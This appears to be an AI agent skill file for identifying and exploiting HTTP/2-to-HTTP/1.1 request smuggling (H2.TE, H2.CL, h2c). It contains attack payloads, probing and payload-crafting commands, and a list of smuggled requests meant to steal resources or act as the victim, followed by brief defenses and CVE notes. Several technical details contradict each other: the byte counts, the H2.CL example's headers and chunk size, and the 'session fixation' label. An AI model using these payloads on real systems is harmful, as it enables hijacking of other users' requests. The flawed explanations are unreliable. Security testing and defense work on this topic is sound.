| name | http2-request-smuggling |
| description | How to identify and exploit HTTP/2 request smuggling vulnerabilities in downgrade scenarios. Use this skill whenever the user mentions HTTP/2, request smuggling, H2.TE, H2.CL, HTTP downgrade attacks, proxy misconfigurations, or wants to test for HTTP/2 to HTTP/1.x translation vulnerabilities. Also trigger for CVE-2023-25690, CVE-2023-25950, CVE-2022-41721, or any HTTP/2 security testing. |
HTTP/2 Request Smuggling Skill
This skill helps you identify and exploit request smuggling vulnerabilities that occur when HTTP/2 front-ends downgrade requests to HTTP/1.x back-ends.
When to Use This Skill
Use this skill when:
- Testing web applications for HTTP/2 request smuggling vulnerabilities
- Investigating proxy misconfigurations between HTTP/2 and HTTP/1.x
- Analyzing CVE-2023-25690, CVE-2023-25950, or CVE-2022-41721
- Needing to craft H2.TE or H2.CL attack payloads
- Checking for HTTP/2 downgrade chains in target infrastructure
- Testing h2c (clear-text HTTP/2) upgrade vulnerabilities
Core Concepts
Why Downgrades Create Vulnerabilities
HTTP/2 is immune to classic request smuggling because DATA frame lengths are explicit. However, when a front-end proxy terminates HTTP/2 and rewrites requests as HTTP/1.1 for legacy back-ends, the translation step creates desync opportunities:
- Front-end trusts HTTP/2 frame length
- Back-end trusts
Content-Length or Transfer-Encoding: chunked
- Attacker forces disagreement between parsers
Two Attack Variants
| Variant | Front-end Length | Back-end Length | Attack Pattern |
|---|
| H2.TE | HTTP/2 frame | Transfer-Encoding: chunked | Embed extra chunked body; back-end waits for attacker's "next" request |
| H2.CL | HTTP/2 frame | Content-Length | Send smaller CL than real body; back-end reads into following request |
Identification Workflow
Step 1: Verify HTTP/2 Support
Check if the target edge speaks HTTP/2:
curl -v --http2 https://target
openssl s_client -alpn h2 -connect target:443
Step 2: Confirm Downgrade Chain
Send a malformed CL/TE request over HTTP/2. If you receive an HTTP/1.1 error like 400 Bad chunk, the edge is converting traffic for an HTTP/1 parser downstream.
Use the check_downgrade.sh script to automate this:
./scripts/check_downgrade.sh https://target
Step 3: Identify Variant
- H2.TE: Back-end trusts
Transfer-Encoding: chunked
- H2.CL: Back-end trusts
Content-Length
Exploitation Workflow
H2.TE Attack Pattern
:method: POST
:path: /login
:scheme: https
:authority: example.com
content-length: 13 # ignored by edge
transfer-encoding: chunked
5;ext=1\r\nHELLO\r\n
0\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\nX: X
How it works:
- Front-end reads exactly 13 bytes (
HELLO\r\n0\r\n\r\nGE), thinks request is finished
- Back-end trusts TE header, keeps reading until second
0\r\n\r\n
- Back-end consumes prefix of attacker's second request (
GET /admin ...)
- Remainder is treated as new request queued behind victim's
H2.CL Attack Pattern
:method: POST
:path: /login
:scheme: https
:authority: example.com
content-length: 5 # smaller than real body
transfer-encoding: chunked
10\r\n
HELLO WORLD\r\n
0\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\nX: X
How it works:
- Front-end reads HTTP/2 frame length
- Back-end reads only 5 bytes per CL header
- Back-end reads past boundary into following request
- Smuggled request executes in victim's context
Crafting Payloads
Use the craft_payload.sh script to generate attack payloads:
./scripts/craft_payload.sh h2-te "GET /admin HTTP/1.1\r\nHost: target\r\n\r\n"
./scripts/craft_payload.sh h2-cl "POST /api/logout HTTP/1.1\r\nHost: target\r\n\r\n"
Common Smuggled Requests
Replace the smuggled request with:
POST /api/logout - Force session fixation
GET /users/1234 - Steal victim-specific resources
GET /admin - Access restricted areas
POST /api/action - Execute actions as victim
h2c Smuggling (Clear-Text Upgrades)
A 2023 discovery showed that if a front-end passes Upgrade: h2c to a back-end supporting clear-text HTTP/2, attackers can tunnel raw HTTP/2 frames through edges that only validated HTTP/1.1.
Requirements:
- Edge forwards both
Connection: Upgrade and Upgrade: h2c unchanged
- Origin upgrades to HTTP/2 and keeps connection-reuse semantics
Test with:
python3 h2csmuggler.py -u https://target -x 'GET /admin HTTP/1.1\r\nHost: target\r\n\r\n'
Mitigation: Strip or hard-code the Upgrade header at the edge except for WebSockets.
Tooling
Burp Request Smuggler
Since v1.26, automatically tests H2.TE/H2.CL and hidden ALPN support. Enable "HTTP/2 probing" in extension options.
Manual Testing
curl --http2-prior-knowledge -X POST --data-binary @payload.raw https://target
hyper --http2 -X POST -d @payload.raw https://target
Defensive Measures
- End-to-end HTTP/2 - Eliminate downgrade translation completely
- Single source of length truth - When downgrading, always generate valid
Content-Length and strip user-supplied Content-Length/Transfer-Encoding headers
- Normalize before route - Apply header sanitization before routing/rewrite logic
- Connection isolation - Do not reuse back-end TCP connections across users; "one request per connection" defeats queue-based exploits
- Strip
Upgrade unless WebSocket - Prevents h2c tunneling
Notable CVEs
- CVE-2023-25690 - Apache HTTP Server mod_proxy rewrite rules could be chained for request splitting and smuggling (fixed in 2.4.56)
- CVE-2023-25950 - HAProxy 2.7/2.6 request/response smuggling when HTX parser mishandled pipelined requests
- CVE-2022-41721 - Go
MaxBytesHandler caused left-over body bytes to be parsed as HTTP/2 frames, enabling cross-protocol smuggling
References